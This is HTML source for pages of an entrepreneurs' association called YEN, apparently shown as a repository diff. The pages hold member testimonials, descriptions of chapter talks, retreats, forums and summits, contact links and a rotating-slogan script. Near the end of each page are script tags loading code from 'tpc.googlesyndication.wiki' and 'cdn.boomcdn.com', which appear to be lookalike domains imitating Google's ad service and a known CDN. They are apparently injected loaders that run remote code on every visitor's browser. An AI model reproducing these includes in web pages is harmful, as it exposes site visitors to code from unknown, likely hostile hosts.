<label>學習新知、保持最新商業的嗅覺</label>
<p>各地分會每年6-10次的乾貨分享會，在保密的原則下，分享深入的商業/生活主題</p>
</div>
<div>
<h5>分會年度進修</h5>
<label>與自己分會會員深交的最好機會</label>
<p>分會每年的體驗高點：每年一次三到四天的外出旅遊與學習，旅程中圍繞著本地會員開展各種學習與融入活動。</p>
</div>
<div>
<h5>私董會</h5>
<label>解決你各方面的議題</label>
<p>私董會是YEN裡頭最緊密的互助小組。不同於公開的大型活動，私董會是由固定的6-8位會員，一年6-10次聚在一起討論和解決各自遇到的議題。</p>
</div>
<div>
<h5>全球高峰會</h5>
<label>讓你認識各地、各行業的YEN兄弟姐妹</label>
<p>每年五月，全球各地的會員聚在一處有三到四天的密集活動，包含了學習、融入甚至競賽。全球高峰會是最好認識跨分會會員的機會。</p>
</div>
<div>
<h5>融入活動</h5>
<label>非正式、靈活的將會員融合在一起</label>
<p>除了正式的學習活動，YEN還有許多本地分會或者跨分會的融入活動，從戶外運動、家庭活動、到小範圍聚餐。</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>聯繫YEN</label>
<p>
<span>
<img src="../images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#3148545f1f50555c585f007158525d5e44551f525e5c"><span class="__cf_email__" data-cfemail="99e0fcf7b7f8fdf4f0f7a8d9f0faf5f6ecfdb7faf6f4">[email&#160;protected]</span></a>
</span>
<span>
<img src="../images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
</span>
<span>
<img src="../images/icon-wechat.png" />
<a href="javascript:;">公众号: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年創業家協會.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
<script>
function tranSlogan() {
const oDiv = document.getElementById('value')
let i = 2
const t1 = `
<div class="animate__animated animate__fadeIn">
<span>
“若說海内存知己，YEN的兄弟姐妹一定若比鄰”
<small>- W.C 房地產業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
“可以敞開坦露脆弱的地方”
<small>- C.Y. 管理顧問業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
“這裡不販賣信仰，卻能篤定我往前的信念”
<small>- V.T. 食品業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
“各行業的深入洞察，分享真誠不套路”
<small>- T.H. 製造業</small>
</span>
</div>
`
const t2 = `
<div class="animate__animated animate__fadeIn">
<span>
“你可以選擇的兄弟姐妹”
<small>- B.C. 教育訓練業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
“無需帶面具，真實做自己”
<small>- A.C. 製造&貿易業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
“創業路上最大的慰藉！”
<small>- L.L. 電子商務業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
“這裡的每一面鏡子都可以照出創業路上相似的經歷。”
<small>- N.H 文化傳媒</small>
</span>
</div>
`
setInterval(function() {
if(i == 1) {
oDiv.innerHTML = t1
i = 2
}
else if(i === 2) {
oDiv.innerHTML = t2
i = 1
}
}, 12000)
}
tranSlogan()
</script>
</body>
</html>
value.html
+267
View File
@@ -0,0 +1,267 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="style/style.css">
<link rel="stylesheet" href="style/value.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="images/logo.png" />
<label>YEN</label>
</a>
<h2>对你的价值</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首页</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介绍</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">对你的价值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我们</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="index.html">简</a> | <a href="tc/index.html">繁</a> | <a href="en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="block-worth-1" class="page-block block-worth-1">
<div class="slideshow">
<div class="slideshow-4-image pc-source" data-pc-url="./images/block-worth-1a-pc.jpg" style="background-image: url('images/block-worth-1a.jpg')"></div>
<div class="slideshow-4-image pc-source" data-pc-url="./images/block-worth-1b-pc.jpg" style="background-image: url('images/block-worth-1b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('images/block-worth-1c.jpg')"></div>
<div class="slideshow-4-image pc-source" data-pc-url="./images/block-worth-1d-pc.jpg" style="background-image: url('images/block-worth-1d.jpg')"></div>
</div>
<div class="main-worth main-worth-mask-1">
<div class="container">
<div id="value" class="worth-content-1">
<div class="animate__animated animate__fadeIn">
<span>
“若说海内存知己，YEN的兄弟姐妹一定若比邻”
<small>- W.C 房地产业</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
“可以敞开坦露脆弱的地方”
<small>- C.Y. 咨询业</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
“这里不贩卖信仰，却能笃定我往前的信念”
<small>- V.T. 食品业</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
“各行业的干货，分享真诚不套路”
<small>- T.H. 制造业</small>
</span>
</div>
</div>
</div>
</div>
</section>
<section id="block-worth-2" class="page-block block-worth-2">
<div class="slideshow">
<div class="slideshow-5-image pc-source" data-pc-url="./images/block-worth-2a-pc.jpg" style="background-image: url('images/block-worth-2a.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('images/block-worth-2b.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('images/block-worth-2c.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('images/block-worth-2d.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('images/block-worth-2e.jpg')"></div>
</div>
<div class="worth-main-2">
<div class="container">
<div class="content">
<div>
<h3>来！一起参加YEN的</h3>
<div class="main-2">
<div class="worth-content-2">
<div>
<h5>分会分享会</h5>
<label>学习新知、保持最新商业的嗅觉</label>
<p>各地分会每年6-10次的干货分享会，在保密的原则下，分享深入的商业/生活主题</p>
</div>
<div>
<h5>分会年度进修</h5>
<label>非正式、灵活的将会员融合在一起</label>
<p>分会每年的体验高点：每年一次三到四天的外出旅游与学习，旅程中围绕着本地会员开展各种学习与融入活动。</p>
</div>
<div>
<h5>私董会</h5>
<label>解决你各方面的议题</label>
<p>不同于公开的大型活动，私董会是由固定的6-8位会员，一年6-10次聚在一起讨论和解决各自遇到的议题。私董会是YEN里头最紧密的互助小组。</p>
</div>
<div>
<h5>全球高峰会</h5>
<label>让你认识各地、各行业的YEN兄弟姐妹</label>
<p>每年五月，全球各地的会员聚在一处有三到四天的密集活动，包含了学习、融入甚至竞赛。全球高峰会是最好认识跨分会会员的机会。</p>
</div>
<div>
<h5>融入活动</h5>
<label>非正式、灵活的将会员融合在一起</label>
<p>除了正式的学习活动，YEN还有许多本地分会或者跨分会的融入活动，从户外运动、家庭活动、到小范围聚餐。</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>联系YEN</label>
<p>
<span>
<img src="images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#6e170b00400f0a0307005f2e070d02011b0a400d0103"><span class="__cf_email__" data-cfemail="126b777c3c73767f7b7c23527b717e7d67763c717d7f">[email&#160;protected]</span></a>
</span>
<span>
<img src="images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年创业家协会</a>
</span>
<span>
<img src="images/icon-wechat.png" />
<a href="javascript:;">公众号: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年创业家协会.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="js/jquery.cookie.min.js"></script>
<script src="js/common.js"></script>
<script>
function tranSlogan() {
const oDiv = document.getElementById('value')
let i = 2
const t1 = `
<div class="animate__animated animate__fadeIn">
<span>
“若说海内存知己，YEN的兄弟姐妹一定若比邻”
<small>- W.C 房地产业</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
“可以敞开坦露脆弱的地方”
<small>- C.Y. 咨询业</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
“这里不贩卖信仰，却能笃定我往前的信念”
<small>- V.T. 食品业</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
“各行业的干货，分享真诚不套路”
<small>- T.H. 制造业</small>
</span>
</div>
`
const t2 = `
<div class="animate__animated animate__fadeIn">
<span>
“你可以选择的兄弟姐妹”
<small>- B.C. 培训业</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
“无需带面具，真实做自己”
<small>- A.C. 制造&贸易业</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
“创业路上最大的慰藉！”
<small>- L.L. 电商业</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
“这里的每一面镜子都可以照出创业路上相似的经历。”
<small>- N.H 文化传媒</small>
</span>
</div>
`
setInterval(function() {
if(i == 1) {
oDiv.innerHTML = t1
i = 2
}
else if(i === 2) {
oDiv.innerHTML = t2
i = 1
}
}, 12000)
}
tranSlogan()
</script>
</body>
</html>